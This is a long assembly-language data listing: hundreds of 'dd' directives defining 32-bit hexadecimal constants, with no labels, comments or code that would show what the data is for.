		dd 0D7D858E3h, 0E3AE215Ah, 1F2CE91Ch, 46B0F525h, 4182A7E8h
		dd 0A2501DFBh, 2777F7B8h, 81253A0Fh, 228E81F5h,	645A028Ah
		dd 462A20ACh, 4B1D86C0h, 0DF210289h, 39088C34h,	365CF6AFh
		dd 0C0642FD0h, 956268F9h, 80C0CE51h, 5FE931EEh,	0DE77AAB9h
		dd 30B1A6B4h, 0DF5AB46Ah, 425E58F4h, 0FC4B4FCEh, 62AB066h
		dd 0C10D0B70h, 0D16103EAh, 3FBC7F02h, 8683BA92h, 4FD59CFAh
		dd 5496DCEEh, 457B1C45h, 435D8855h, 521AB109h, 0D7E2CAD3h
		dd 0C674C477h, 2AB640B2h, 0B085F3F5h, 68055201h, 4B8406B1h
		dd 27382FA0h, 8E4CAD47h, 1D4A1B90h, 0DD349A9Dh,	0D6260298h
		dd 1319E955h, 44EF9E57h, 0F65DE902h, 905B2748h,	95C16827h
		dd 5854F298h, 6B3EFB9Dh, 0EC6B5A74h, 0F8692C0Dh, 9C42DBEh
		dd 0A884C3F5h, 36C7A429h, 9C7B18Ch, 0E540198h, 8386F87Fh
		dd 0D20C0508h, 0C8748B3Bh, 225D5C2Ch, 4AD513CDh, 0F9463A8Dh
		dd 0C9E79510h, 0FD1CD72Fh, 850BD5BBh, 6CEE0EC8h, 2D68CAF6h
		dd 455E6991h, 0B3EC6E2h, 9C7D598Bh, 627135E5h, 0FAE2AF25h
		dd 0AA21222Ch, 0EF8900AFh, 1F41055Dh, 0E9180A8Ah, 0BE3612CEh
		dd 2B6E1E48h, 0A1CABC6Dh, 0C1E4237Eh, 1EAB1C5Bh, 3B123937h
		dd 3A41E548h, 11727ECh,	5C710BF5h, 53643876h, 0A03E58A1h
		dd 0CDB2B12Dh, 422AE29Fh, 7944DD52h, 9D997A33h,	5C6B17Fh
		dd 0EBBD3C20h, 0BADFE923h, 736884A7h, 0EF73F180h, 93CDC13Eh
		dd 0C9FE9452h, 3AABE5FBh, 26556CCCh, 13241CBDh,	0A9310121h
		dd 38441E4Ch, 0D6DE10CAh, 7AD3D14Eh, 0AA8C6A03h, 13BCB41Bh
		dd 85F6ED5Ah, 8B412751h, 6D12F7F1h, 41F93870h, 6C960098h
		dd 0A99F1437h, 0D7325F65h, 13F3FD02h, 20BEA5F1h, 72FEB7F8h
		dd 1BC519BDh, 0E57FC151h, 0F60CAF4Fh, 0ED58975Bh, 928F8D0Eh
		dd 501461C0h, 4889AA6Ah, 174F3FF5h, 0F68AE0ABh,	0DC574768h
		dd 89565701h, 806B5B78h, 0E8440D35h, 4ABA3702h,	0C040A112h
		dd 0B19FD15h, 5BE91F4Ch, 0CD2CD360h, 14E8D03Ah,	4F28892h
		dd 8D3B252h, 0B47CA8BAh, 1C0173ECh, 6F68C6FEh, 86235Ch
		dd 0EDC00BB5h, 0B5C58005h, 0A3779F04h, 7C81B28h, 169EB0B5h
		dd 4207643h, 8468EEE1h,	0AFC1AA6Bh, 61CA3B2Ch, 0B68E08C8h
		dd 5741214Bh, 87DF46E9h, 698BD40h, 0E5813850h, 0A81E4ED3h
		dd 4CD3CDCh, 4D0CAC19h,	39E841AFh, 0FC64BC76h, 0B802FAC5h
		dd 66E9875Dh, 0CD65F52Ch, 5B246885h, 0FBE177ACh, 0EA5502B1h
		dd 0E80DD26h, 6EBA1C44h, 4295CAB0h, 1E565727h, 82EE4058h
		dd 0F63A6A50h, 38D9A5D3h, 8090DCFCh, 7603D468h,	29592B36h
		dd 3C6C9ECDh, 2C092651h, 7A45FD31h, 0F1545089h,	44EBEFD9h
		dd 0BE05A524h, 7C562C22h, 1DB60116h, 0E8E6F680h, 489FCEA5h
		dd 3D6B6AE3h, 59920D3Bh, 64420BF4h, 681CA155h, 0C1684777h
		dd 96CB5C7h, 25E967FFh,	686B1DE9h, 42EC4E63h, 41286E06h
		dd 1A0B0C3Fh, 83577C14h, 9C74BCC4h, 41DE8DC3h, 1CA1081Ch
		dd 98202014h, 8C229D2Dh, 78CC3B93h, 1227C009h, 2508000Bh
		dd 951E36Bh, 0D930E94Dh, 436B3ADEh, 0CF39E1A5h,	83C5FD39h
		dd 0E9F6E0EDh, 7283054Bh, 70C4B250h, 9519030h, 37D80CE8h
		dd 658D4B00h, 74C11305h, 4E8669BCh, 99F9A06Bh, 0DAAA094Bh
		dd 0F39218FBh, 0E5DE8852h, 6249B02Ah, 5B591440h, 4609F056h
		dd 9EB9214Ah, 2EF0D58Bh, 0B626497Fh, 9E6A4C82h,	0F72E6009h
		dd 0AF7E0792h, 29685050h, 0A69C6C09h, 91F745D9h, 7539B1CDh
		dd 3DE83E67h, 71F3EC26h, 0BE9F5537h, 6560A889h,	740B1711h
		dd 0EC09AB4Ah, 88742269h, 2260820Ah, 1245C62Ah,	8044D6BDh
		dd 13B7C5B7h, 8CAC855Fh, 0FBB3164Bh, 5653F604h,	49E270B2h
		dd 686040F7h, 8C035BBFh, 72E38EEAh, 0BF1CD895h,	22F177Eh
		dd 204B004Ah, 833EB96Ah, 9C01EF3Ch, 0BB4B99F7h,	61570588h
		dd 138746B4h, 0BB5A5551h, 2FE31D00h, 1358906Eh,	0BEC47DE9h
		dd 98A51E67h, 38681EE0h, 0FF4A753Bh, 2A68BE7Ch,	6315621Fh
		dd 1A635C52h, 2EB4144Fh, 0B3F048C5h, 6BFEE380h,	94DF6709h
		dd 0D6845592h, 3B18E1BAh, 12A1BFB4h, 0B666C911h, 801C6E89h
		dd 54FB73ACh, 85EC9701h, 0F4E90C80h, 0DEA70E48h, 0A743130Ch
		dd 0C2E3A0CAh, 0D239121Dh, 0A7C0BF60h, 5EE95608h, 5FC982D1h
		dd 4BDCD175h, 9A56C832h, 0F201E902h, 54C0F6FEh,	705D709Fh
		dd 0ADB395B9h, 6B0FA2D1h, 128A78CCh, 0AB3D5E18h, 292FF1F2h
		dd 0E962B7AFh, 10D5D6E0h, 81FB8DDFh, 0EBB04058h, 24301984h
		dd 57B50C44h, 0AD334A1Fh, 0E90840E5h, 82B45E5Ah, 0E4339CFh
		dd 164F1A9Fh, 124753DFh, 0D53F8880h, 0D8555A24h, 0D471E9C2h
		dd 3C7F255Bh, 13F12070h, 0C0665E2Dh, 9F402689h,	7F497FD9h
		dd 3B93C659h, 7E6E91EEh, 0D6922BAAh, 4634FF5Ah,	22BD395h
		dd 5456C331h, 0EC5CF1D5h
		dd 0D39502AEh, 0F36849E5h, 204BCC68h, 5C56628Ch, 0BD62738h
		dd 0AB7EA044h, 0E9E1EE02h, 0B73FD0BDh, 5C842134h, 17B8DF9Dh
		dd 0FA5A53E9h, 0D0E713ECh, 29685257h, 70BA6317h, 0A7E28B01h
		dd 17E381Fh, 0A618EC68h, 5CD13EE5h, 0AFA51088h,	0BC4FA67Fh
		dd 0A7DC97A3h, 88F457F2h, 0C00674E9h, 6168E1F7h, 81B94365h
		dd 14338D44h, 250ADAEAh, 0D692DD52h, 0C92C84D8h, 0DE527516h
		dd 3B9D587Ch, 81BEEF9Ch, 0C1201960h, 106002E0h,	0AD05804Bh
		dd 1FF06601h, 6855E829h, 0F7BC0844h, 0B8C38624h, 0C11F0144h
		dd 858C1131h, 0FC2871Dh, 3AFC5A07h, 38379A65h, 99DE248h
		dd 570B77E4h, 17BE09DCh, 10F3613Dh, 4A5F1110h, 8BBBD8FAh
		dd 7F61084Fh, 5D00F53Bh, 6CB1CA01h, 95C33C2h, 0F3E8E175h
		dd 0E067496Fh, 0CB0238D3h, 6069C413h, 50CE327h,	77E9170Bh
		dd 848FB23Dh, 33AB3203h, 0F700E2FAh, 577A02B8h,	912508h
		dd 3549F917h, 63760F9Ch, 2390D795h, 0FB484E9h, 0F9A0CA3Ch
		dd 81E39D59h, 282ABEC5h, 3127294Dh, 26BACDCh, 0A06DA918h
		dd 0E56F5CAh, 47676B2h,	13041FEDh, 0BEE1FF58h, 662007CDh
		dd 6F3A0E8Fh, 47FF4B24h, 2C8E5280h, 5C3FDD1Ah, 1F186067h
		dd 0BF419583h, 1C751FCh, 59350387h, 61AB0B25h, 3B03BCh
		dd 9D1ADBE9h, 28FA8318h, 8103C090h, 7657FCC9h, 0D7E1B030h
		dd 465E2F31h, 0EE172DF8h, 0CF132D3Dh, 612CD803h, 0D6F1E077h
		dd 3614275Dh, 0C30B547Eh, 8879F151h, 0BA004E2Fh, 7B425B5Eh
		dd 0A5DA48F7h, 19C9639h, 85EA947Ah, 0E1054E73h,	88746ED3h
		dd 947289C8h, 0ED800738h, 53F53201h, 0DC3288FDh, 0CAB71F3Bh
		dd 5083C79Fh, 0F4C0EEB0h, 7746B181h, 596BDC2Ah,	6CFA535Bh
		dd 1A4A7061h, 0D7C4C7BCh, 66EF4084h, 0C173E01Eh, 713B760Ch
		dd 62507A43h, 140C6808h, 5F905A25h, 4881F47h, 0FA310D68h
		dd 481E56F2h, 272ECB30h, 0B8B1BD47h, 0C23BBE66h, 0FD07301h
		dd 0B566F9Fh, 9B404CE9h, 802847B3h, 0CB3B9DEBh,	0C9F30BD3h
		dd 0ED6982F6h, 651657A2h, 201CF795h, 789FE925h,	0B05D9DF5h
		dd 0BD932331h, 0CC871F29h, 0EF319449h, 916D2C2h, 0BCBD8475h
		dd 3A3267D1h, 1BE978E5h, 8A50136Eh, 12F85FFFh, 0F4EDA486h
		dd 7B25D9FDh, 0EF2A57B2h, 413A20AAh, 307879A8h,	0B28281B1h
		dd 69DDE92Ah, 0BC7B0543h, 8CA640A6h, 0D0DD3167h, 681A308Bh
		dd 0A82A5A4Eh, 25A5C43Bh, 40F539D8h, 29265F1Ah,	1215E8EBh
		dd 0AE4D3486h, 0FBD272BEh, 22D195FCh, 0AF2EFEFDh, 0EDEC392Ch
		dd 4E308B3Fh, 6B3BCDAEh, 0D61C691Ah, 8067B7Ah, 0F707E9D7h
		dd 7705096Ch, 0EB5E8D41h, 768D092Dh, 962F56B8h,	0E00166ABh
		dd 25B93E31h, 67899FFEh, 0CAFCA296h, 97E4D2B7h,	0BA22CF7Eh
		dd 12EA054Bh, 0E4FB01DCh, 2F5B301Dh, 197634ECh,	1051E77Ah
		dd 68074005h, 0A19C7665h, 79499262h, 9F24A03Fh,	0E9C17956h
		dd 0A72A69E5h, 24A7B19h, 0E05E4482h, 0E15C1757h, 0A108F86Bh
		dd 8F004481h, 774B987Bh, 527C9AB9h, 0E9130C6Ch,	535A4413h
		dd 0C95B8152h, 21160494h, 1EFBC4EBh, 491F8108h,	494C0107h
		dd 0E90C0129h, 0F4413FE6h, 5BDAF4C3h, 5C75C820h, 0C7A54584h
		dd 0E70EE282h, 3DD4B748h, 2DC07E58h, 4D1E54D9h,	0ECFE200Eh
		dd 44691A12h, 25173C01h, 0E12F0116h, 0A6293E0Eh, 0C08FE23Ah
		dd 77255088h, 0B8C61B9h, 0A45BD931h, 0CC72B844h, 0FD18D2A8h
		dd 0D1B65AFCh, 0BB1E8500h, 0EE814E67h, 272B6302h, 0FED6F76Fh
		dd 58768F40h, 1CD04B69h, 0D9D2C3A8h, 0E5075099h, 34345C86h
		dd 6EEDAAh, 16640D1Eh, 30E95045h, 5C2EC53Ch, 96BEC821h
		dd 7D35DC5h, 0F597B341h, 0E9F59CD3h, 0E26A09E1h, 682A5081h
		dd 170875D3h, 2F5E25FDh, 0CF8EFA2h, 0E6191467h,	62D04874h
		dd 3D74ABB8h, 7C1720B6h, 5C74303Bh, 0F312B951h,	7BAFB7Bh
		dd 91677D3h, 0A5E2C777h, 2722EE5Fh, 23D65E54h, 8DA96854h
		dd 5DBB1ECBh, 0C6B072FEh, 0CDBA5201h, 0F93AC3CCh, 73780E84h
		dd 4463C5ECh, 0F61033h,	8E308505h, 415EB711h, 0AA58D7DAh
		dd 4A6C3325h, 75D8DF6Fh, 1189C097h, 7C552529h, 8A0EE76h
		dd 0E1EC5E5Eh, 18194B7h, 29B6858h, 0A85AFD33h, 87341613h
		dd 0EF4564BEh, 0ECE5DBECh, 65E9E006h, 5B0F98EAh, 55EAF29h
		dd 79E0FACCh, 0B9BB53h,	0D0F674B0h, 2C05C0FEh, 638568E2h
		dd 0D2C24B22h, 59EB0B05h, 5C85585Ah, 3013E141h,	0F0EDF05Eh
		dd 61FDC328h, 0B2B46BD5h, 415A90A5h, 66CEE8D4h,	17B55107h
		dd 5960EE08h, 0E680D6F6h, 0CFF1E05Bh, 1F17D942h, 881DFDFDh
		dd 67E29FCFh, 49516854h, 0E6FA85C7h, 0CC98965Fh, 0BF84404Fh
		dd 8A527h, 0C10CFE8h, 83701721h, 349941C7h, 2A4CDA1Ah
		dd 6A0EADC5h, 17A90746h, 8B2EE9F0h, 0C6CE5AA5h,	9D169291h
		dd 101E5FAh, 0BEC1E9F8h, 727966AFh, 20478960h, 1F99F58h
		dd 8C205DA8h, 0A664B718h, 66B8CD27h, 0BA26CB1Fh, 0DC5A12A5h
		dd 5E5AF7A0h, 68B0D5B8h, 0FDC44471h, 121D205Fh,	2087CD53h
		dd 0AB4438F4h, 0DFE9DEAh, 29879D34h, 96B9F589h,	71BB3B51h
		dd 7F5E598Fh, 0E9A07EF9h, 31BAF672h, 63E3F204h,	0A9EA3D99h
		dd 412C5E8Dh, 28EE4B20h, 5AC2C0CFh, 5FDCC680h, 91480CDCh
		dd 5CA6780Bh, 0F5715196h, 9C886FFEh, 9B5612CFh,	7739EA60h
		dd 0C617E42Bh, 9492E109h, 1E02D79Fh, 2660E3D1h,	32730D2Fh
		dd 925D697h, 0B4A52445h, 0EBD20CF1h, 0F6065C6Ch, 0B2EE80DEh
		dd 2C151C06h, 4208676h,	0D3F1B88Dh, 5AF810B6h, 0E92E93FEh
		dd 0BD83EEEBh, 7A4E6503h, 0A2F6B59Eh, 24355188h, 0CCC90882h
		dd 0D0A2DC28h, 2353C987h, 69FAB5B4h, 0A2A2764Ah, 0D5485AD3h
		dd 0C60904F1h, 90DE57E9h, 27252B96h, 0ACD034E0h, 0F1E2A14h
		dd 2E5304D3h, 81EABAA2h, 3B6B7FBEh, 0FF035425h,	0E90EB14Bh
		dd 8C2ED125h, 7C103D55h, 45B03BEh, 1832D061h, 18777062h
		dd 9689E595h, 0E398DBF7h, 4D7B5100h, 0BCCD816Eh, 0AC7F4D2Bh
		dd 853B010Bh, 8E2080D4h, 672854BDh, 1E1CC2EEh, 6CB94CA1h
		dd 837CD438h, 8501C12Ch, 169D1808h, 555E925Bh, 0A433DC5Fh
		dd 852B13ECh, 89AB32F0h, 4142C054h, 0EBF7207Ah,	115A1E7Fh
		dd 0F22EE2F1h, 3F2D9631h, 0C8849D59h, 0C9FFDF4Ah, 0EDC43ACDh
		dd 573F3AA8h, 9DE14EFDh, 0BEE23E18h, 0F95F5E89h, 0C7E589D3h
		dd 65C17BDEh, 0F064FEE7h, 88394036h, 4234E27Dh,	82FA0E56h
		dd 0E67FCAABh, 84974ADAh, 0D5B2AFDBh, 314DD8D3h, 0A4BF7596h
		dd 77C90078h, 0C07DAAEAh, 0CBE8302Ah, 0E11A5A20h, 0B2D7B763h
		dd 7674ED83h, 0BDB58A5h, 9573F28h, 0BF000AF6h, 70AD4690h
		dd 1878BD31h, 0F42AE971h, 61F23982h, 7F5EFAB7h,	5D85BA83h
		dd 30874DABh, 3A8DD2C8h, 57C75E6h, 69776C1Fh, 0D8FB885Bh
		dd 97586E68h, 5BFAF69Bh, 0F725CE5Ch, 72258CE5h,	0CF92056h
		dd 2AA1B905h, 14AC1D78h, 0C95D571Fh, 165D5849h,	4173BDA4h
		dd 3C40BB01h, 0FC213B2Eh, 0A00D4FD7h, 9013E954h, 82F6FEE8h
		dd 1B66809h, 0B4EB96E9h, 0D8EFC264h, 0A91F4102h, 0F253408Ah
		dd 4093EDE6h, 971E53A3h, 1627E913h, 5F1F5242h, 2DB1C2D8h
		dd 0F2852B7Dh, 49C722A3h, 0FD92DD97h, 57CF18F7h, 5CB72460h
		dd 0D5FE2573h, 0B426823Bh, 0F4E3E977h, 98BE000Ch, 0BA68CD6Fh
		dd 97B6280Bh, 9C1556E1h, 13DF2524h, 0D5D7D26Eh,	0F45FB342h
		dd 0A5827246h, 10D93DE2h, 14486807h, 3647DF0Bh,	168D59AFh
		dd 3A8DF143h, 321573F3h
		dd 979639BDh, 0E90948E3h, 502F509Dh, 0F57AFBAh,	50DAF737h
		dd 5BD5D3BEh, 639260DCh, 687072FEh, 0BD087070h,	96E910F6h
		dd 4C516256h, 2B0B4F7Eh, 6A5000F1h, 0C8412330h,	62000412h
		dd 1573747h, 5E59B8CBh,	5A14EBC3h, 2BB5B33h, 18C868F8h
		dd 6F6E7Ch, 40527F71h, 5E800C1h, 2D7BBE35h, 540B0D49h
		dd 775F6D78h, 0B3AAEAB0h, 367327h, 0E9C30186h, 319F5A2Fh
		dd 40F6B3h, 1380E528h, 0E6690EDh, 1F05213h, 0F05B8FBBh
		dd 82EC4B49h, 3F24BF2Dh, 6F17BFD5h, 0BF607F69h,	8447B73Fh
		dd 650F4B28h, 8947D071h, 6D4C80F5h, 1EE5C166h, 57D5F702h
		dd 2094B123h, 0FE4AB3D4h, 4137BBD8h, 0ECAA20A7h, 6741D641h
		dd 1CC17D48h, 0E0F1AC7Fh, 0B5D5E6E9h, 854F5BF9h, 5E98CA9Fh
		dd 7B2F14FBh, 2A20871Ah, 0D2BEBE98h, 2F9AF3C0h,	5E53766Fh
		dd 125FE9EEh, 8EEE12E9h, 0E88D5048h, 32A71601h,	0D2F7D787h
		dd 136E6B61h, 0F88AAFB7h, 529544C5h, 33FC3187h,	379244E4h
		dd 0DB4EC77Ah, 0FD4B6BFEh, 0E740D4EAh, 0F42F3BC8h, 4CF35034h
		dd 8D10AF47h, 6680C94h,	0D4594509h, 60109FCFh, 0B7530102h
		dd 5BFD28D2h, 0FD3AE8CDh, 1BD16B7h, 49338Ch, 1FF66850h
		dd 0D58309Eh, 452FCB00h, 3B60057Bh, 2D7707A2h, 62FFC41Ah
		dd 414AC131h, 5E1A70D6h, 0B55460BBh, 32CCBD19h,	21B9BB80h
		dd 0C638A30h, 90990CDDh, 5F0897AFh, 130C3408h, 0BEA12514h
		dd 0B469CF45h, 0E9C1FC4Eh, 0C52BC9ADh, 24FDB82Ah, 0F6094801h
		dd 0B19E317Fh, 0BA4EC07Ch, 9F5DF778h, 3437CF31h, 0EE09B339h
		dd 0FF281EB0h, 0F67B5E96h, 0C807039Ch, 85C79D34h, 6858C200h
		dd 0F3195BD1h, 0C048009Fh, 0C48002E4h, 0CC8609FEh, 3D5C10E9h
		dd 0DC04830Bh, 3AE9D040h, 5EB9535Bh, 2FDD9B8Bh,	396843ADh
		dd 0ABAD16Ch, 623B292Bh, 7BB9C7B0h, 0C1407902h,	426BD816h
		dd 0FEFBF026h, 52B17477h, 2B21F0F5h, 0CAFB57Eh,	3411BF38h
		dd 0A69E5D95h, 9321E917h, 815CEFDDh, 0BBE340C8h, 8D7E7209h
		dd 0C9F5E06Eh, 987F8231h, 18C4F2D0h, 6C50DC38h,	7805DFF1h
		dd 7168E9FEh, 7B09335Eh, 0BEE67E23h, 5F7C8420h,	5B54E14Dh
		dd 97BFD684h, 0C6A93F2Eh, 5F95F9F8h, 63904816h,	6BE1CE5Ah
		dd 0D69FF36Fh, 0F42F18E2h, 3A6677E9h, 0F8D239FFh, 50D30519h
		dd 5BC6A6E4h, 0CB20ECE1h, 89ABFFBEh, 779B0C00h,	789F0BC6h
		dd 8C75150h, 1EDA7632h,	0E9ACC8FFh, 1A835D47h, 0EB4DEB5Bh
		dd 96FD37F3h, 4E268628h, 0BC6512E3h, 8AAF4A6Dh,	27C88BF6h
		dd 0C070B4BEh, 5EF607ECh, 8FFFDD4h, 3E188B5h, 0EAD059CAh
		dd 44BF2D8h, 0E9C1C3F1h, 0D5813E61h, 0BC7FE888h, 5153A073h
		dd 0BF3B60E9h, 0FEDCEE80h, 0C004C661h, 0B8EB07E6h, 5A31E999h
		dd 0A8704178h, 2F1E0A27h, 54D16A84h, 0EA054073h, 3E22A908h
		dd 48EA01DFh, 3B2A4D50h, 8A6A2DA1h, 89ED480Bh, 7C0B1C55h
		dd 1F54485Dh, 0F2F52C17h, 20EB4867h, 74B80E53h,	5402E71h
		dd 6EA219ADh, 96127CEAh, 4FE4228h, 0BA8DDA4Eh, 326C1961h
		dd 0B810333Fh, 807101A5h, 42659809h, 0B1C402EDh, 5E0BD35Fh
		dd 8B4F7E58h, 0E74B36Dh, 71BC8962h, 0FB2942F7h,	0AD8EDE09h
		dd 6A662575h, 775123A0h, 0DDA12757h, 24C4E4D4h,	9796B2EBh
		dd 0F31D72Dh, 80A4EF38h, 608E919h, 0FCC81CBDh, 15C9487h
		dd 0A95832Dh, 847E30C0h, 3C685782h, 62826C17h, 81745F43h
		dd 0BFF2E970h, 0BD52888h, 19DCE63Ah, 2EB4E153h,	895BF26Fh
		dd 58C76262h, 3BC2B561h, 44551AC2h, 26122B3h, 7795C34Eh
		dd 8F30A88Bh, 0FEE0314Eh, 2F3DCABBh, 4FCCE167h,	342AB441h
		dd 62BA8005h, 7F5FAF63h, 20E13F90h, 100D5E1Bh, 5D2F07B6h
		dd 0DD52BF7Eh, 0D115BAA0h, 60B7E072h, 4B71E968h, 6C8BFAE7h
		dd 38BBF24Ah, 5FEA0DFh,	264B7EF7h, 0F6EB0029h, 89F5EC9Fh
		dd 2771FA5Ch, 0A6A95B77h, 4F3110D5h, 0D39770FEh, 2DB0AD5Ch
		dd 69B7C90Ch, 0FCE90C2Dh, 0A8734E23h, 9E5A4F09h, 9A7FC04Ch
		dd 31E23F35h, 0AF2D2312h, 0A9F50A2Dh, 2A4A0DA7h, 14827C57h
		dd 0ECD28B51h, 7CE0655h, 9767C88h, 1016653Bh, 33B559E0h
		dd 9F3E59Dh, 60FAEB14h,	0D3271077h, 84D408h, 0F7523D4h
		dd 8B95DCE9h, 0B25A4611h, 6E820E3h, 0CC19BA3Dh,	0FB5EE4h
		dd 120AC124h, 0E91264FCh, 0FD221FBEh, 545E5D2Ch, 5D703EC2h
		dd 0C736CAA0h, 0E772D173h, 0D5EF48h, 0F4B3168Bh, 0C192A2E9h
		dd 0A445AB29h, 0F16F3141h, 0C20DEFBDh, 5516EA68h, 0BB0140F1h
		dd 0DAC47EE7h, 1647C4ABh, 3121E5F1h, 1CDCFE45h,	0D0E5126Fh
		dd 9A92F7F9h, 0C534BA04h, 1DE83294h, 8E70FAA5h,	0B7201DE9h
		dd 7950B568h, 28E8739Dh, 5A972E66h, 45E8C058h, 81030396h
		dd 0A2050EE1h, 3EF1B062h, 32100B0Dh, 2270E983h,	6DF7CD0Fh
		dd 7A0F0BCFh, 0A2EB019Ah, 10ADC4Eh, 6B8220D8h, 98575F40h
		dd 17F809F7h, 0BBF0763Ch, 71098173h, 7D6FF76Dh,	6814385Ah
		dd 814A3B2Eh, 4E286941h, 64A37683h, 0C002A2Dh, 6C437C6Dh
		dd 0B0E94941h, 93C9AE1h, 0FB442C35h, 0B81A1A03h, 70C2F735h
		dd 20B3A1EAh, 0F15F5067h, 0FCB2AC90h, 0E2345E4Bh, 50FD208Dh
		dd 417AEE87h, 77EF22F3h, 0FD6F1241h, 0BF8300C4h, 0D1312E25h
		dd 139FA85Ah, 0AA5760A1h, 1DB6217Eh, 6720B2B0h,	0B95D4FE8h
		dd 0D1FA9368h, 0BB11C5BAh, 0FFA52723h, 47405420h, 0E5951F2Dh
		dd 0F353A50Bh, 81F3924Eh, 0A7EC97h, 0CE2DF668h,	78525B75h
		dd 4D380556h, 5E058Ch, 0B573C6B9h, 0D8BF6B09h, 6F2C54Eh
		dd 19A60042h, 298BF42Ah, 0E916DEB0h, 10C965A0h,	8F3C85E1h
		dd 0DF31BD5Ah, 0CB5BD54Ah, 1217DA94h, 0E7FB61D6h, 90A100Bh
		dd 5522BE02h, 42DD75FDh, 364BFDDBh, 0DF680398h,	0A68C1C5Ah
		dd 20429FA4h, 708F79D5h, 0E4B26E9h, 0C0698CEBh,	0D8AAF54Ah
		dd 0A09F92EEh, 128AE69Dh, 1307638h, 5C1496EEh, 2FF329E3h
		dd 16C17B61h, 0E6F9FA14h, 5329A705h, 523E178h, 0B6970407h
		dd 0BC680764h, 401EA052h, 817C8B02h, 3F7BF158h,	40E34737h
		dd 0EA93250Dh, 0C5E8CD5h, 413F023Ah, 0E521E97Ah, 0D6E89F5Eh
		dd 65680B30h, 0DF469F14h, 4B3F534Ch, 78C3CBFAh,	0AB9050F2h
		dd 55ECE40h, 9468D829h,	74D4A307h, 284CB0FAh, 1A980449h
		dd 9D06FD9h, 2776E305h,	0EFDE2662h, 0B09D0720h,	2516B85Dh
		dd 94FA5FA9h, 2810B00Ch, 13C6DA1Ch, 0B80AB620h,	0BE9A040Ch
		dd 0D28441EFh, 8EB7D5AAh, 8040254Ah, 4B6855D9h,	8383A85Bh
		dd 7A489DC1h, 0CA3D0A28h, 42ACAF3Dh, 79565F4Bh,	92AD825h
		dd 688BC4BEh, 6D4DBBF0h, 0A6A95A6Ch, 7BA668F3h,	356E925h
		dd 0B0CEBF12h, 7C217AC8h, 122E4FFBh, 988BFF28h,	0B44DE9C2h
		dd 9769167Fh, 7BDC8020h, 120050Ch, 9C58254h, 0E298890Ah
		dd 6E14F75Dh, 540951D2h, 0CE71D53Fh, 0CFC424B4h, 0A40956BEh
		dd 590C5DC1h, 2EDBE6E9h, 975A98ACh, 7D73642h, 0F3DE6E82h
		dd 0AE640B31h, 0A23EEC2Bh, 31562614h, 609CC19Dh, 0BF50304h
		dd 16102316h, 0D46029AAh, 6DF06288h, 0A0295097h, 81D5F74Eh
		dd 790E8966h, 0DE1564EDh, 0EB12B4AAh, 0BDB077ACh, 0BB0B6449h
		dd 6254E947h, 4F1981D2h, 508D073Eh, 0D81657F8h,	0B71E5366h
		dd 2BB88E1h, 0F6C8FE5Bh, 0E09E82D0h, 0EE290539h, 3930B38Dh
		dd 0FFCC9762h, 8EDADF34h, 165F8EBEh, 4440B4E9h,	697D8BBDh
		dd 4F4D584Fh, 6B98022Fh, 27015CAAh, 64A350Ch, 0F02B3833h
		dd 3A165B62h, 4B85444h
		dd 0BAED8117h, 81BAF0C5h, 6C190353h, 0A8E9E449h, 2BE30D89h
		dd 7EF78184h, 0C3199756h, 0CDBEDB40h, 986ADF4Ch, 39770987h
		dd 545009ABh, 0FC90DDE6h, 0B03672B7h, 0D59760C4h, 0EA23DC3h
		dd 355EE4F4h, 30BCF2B5h, 0EED83497h, 0BE563E20h, 4B48734Ch
		dd 770C045Eh, 0DE5109F7h, 85B0548Fh, 0FB35F74Bh, 67C88981h
		dd 89628204h, 21EB91A0h, 11749514h, 0D51C5F27h,	50EBC516h
		dd 0E4968DBh, 157615C4h, 112D2A2h, 971806F9h, 0BD072AE2h
		dd 11B4328Ah, 99927A2h,	47F86D00h, 0CDF170Fh, 0B46EA801h
		dd 0F387D129h, 1B7539F9h, 18A43800h, 0CC04A8Ch,	43DD250Fh
		dd 2D15FE9h, 0FE885284h, 9F20D4F4h, 6EF1D20h, 46ECF68h
		dd 5C0B5327h, 0FD5F1A34h, 6D00D329h, 6FC2A1Fh, 751848B8h
		dd 0EF188341h, 0B280497h, 0BBFE21E6h, 6D90E417h, 3DC07BF3h
		dd 4FAC1B70h, 3270A7E6h, 1FA9F552h, 0EA4C7B2Dh,	25C7782Eh
		dd 0F050856Bh, 5FABE913h, 4B77978Ch, 129CCBBh, 4BF6CA4Ch
		dd 0BE3884BAh, 0E912119Ah, 0FBA1C451h, 2D7F45C7h, 0D13F4FE1h
		dd 5CC41Eh, 0E157D068h,	0D65CF97Bh, 967F9FE1h, 44000C7Fh
		dd 1497E5Ch, 24E957FBh,	0A5478F32h, 0CBB78582h,	0F9E1F603h
		dd 0F9ADA4EEh, 9E0820F4h, 0ABFA8A11h, 91E64E89h, 0D42D8B71h
		dd 84175965h, 0CCFEE3D6h, 0C869680Dh, 0B071D7ACh, 76DDE942h
		dd 0FA96256Eh, 44BF63FEh, 2B5B0A08h, 3DA5CEFh, 0CEE326Dh
		dd 0AD841800h, 10E9E470h, 5F6E97A0h, 56094398h,	0D817A65Dh
		dd 0AA54FDD2h, 2DDE9280h, 0C35F5F76h, 80FA566Fh, 763CF3F4h
		dd 0D9260490h, 75692C9Ch, 9BCA8AAFh, 9F6885DCh,	41806225h
		dd 7E89AC6Ah, 7E1284h, 2C4D76BFh, 28EBA16Fh, 68C0CC2Bh
		dd 0B329222Ah, 7F3D0320h, 0DDDFA05Fh, 0CBFDEB64h, 3CC31091h
		dd 56202768h, 37363CFh,	0F48336E6h, 0DEC1A4ECh,	9D5AC340h
		dd 0B9C61942h, 90B5F773h, 95AEE6A5h, 55692579h,	767DFD62h
		dd 0D7E65052h, 5040FEB6h, 4D2F22B8h, 3A104A4Eh,	0EB8000C0h
		dd 0F6C3FEBCh, 0A6EFF9D3h, 88511C36h, 40896F9h,	0A6218066h
		dd 0C4491764h, 688023E3h, 6F086BEBh, 16C14CBDh,	0B10BE9FAh
		dd 6DAE2E82h, 4C7360A8h, 4F148D39h, 532F2CEDh, 0BE672345h
		dd 272C2801h, 0FC8F1060h, 0EB075848h, 0AB1F6B38h, 73C90176h
		dd 30086E63h, 50236E0h,	0E9492DDFh, 77E76A21h, 0D6C34A98h
		dd 0D1270724h, 811E502Dh, 0E965908h, 10B3A602h,	7F7E4675h
		dd 0C43B18E3h, 0A4DE285Fh, 0DE19C12Dh, 0ECC64205h, 0DF40D2D0h
		dd 49471323h, 4FE2BB78h, 0F758C503h, 0E2DB45DDh, 0EE7B5BE6h
		dd 39B0340Eh, 5310D301h, 8CD5A08h, 0E0F482EAh, 2573E4F8h
		dd 275D187Fh, 52AB088Dh, 57A0457h, 0BF296D89h, 0C035E99h
